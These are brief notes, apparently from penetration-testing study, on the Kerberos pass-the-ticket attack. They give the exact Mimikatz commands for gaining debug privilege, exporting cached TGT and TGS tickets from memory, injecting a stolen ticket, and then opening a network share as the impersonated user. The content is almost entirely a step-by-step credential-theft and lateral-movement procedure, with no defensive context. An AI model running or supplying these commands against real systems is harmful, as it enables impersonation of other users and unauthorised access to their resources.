What its about? Basically we use cached tickets to access the resource instead of extracting hashes through them. we impersonate as the user we have ticket of.
- TGT - impersonate user
- TGS - impersonate user with a specific service
Requirement
- Cached Tickets
what do we do? get the ticket inject in memory access the resource .
Attack
Load MIMIKATZ with SeDebug Priviliges
privilege::debugExport Tickets
sekurlsa::tickets /export
list exported tickets
dir *.kirbiWe know that ticket #0 is a TGT because the server is krbtgt.
Inject Exported Ticket in memory
kerberos::ptt {{ticket}}
Access the resource now
ls \\web04\backup
This should get you authenticated as the ticket user instead of your identity . As the ticket in memory will be sent to Kerberos .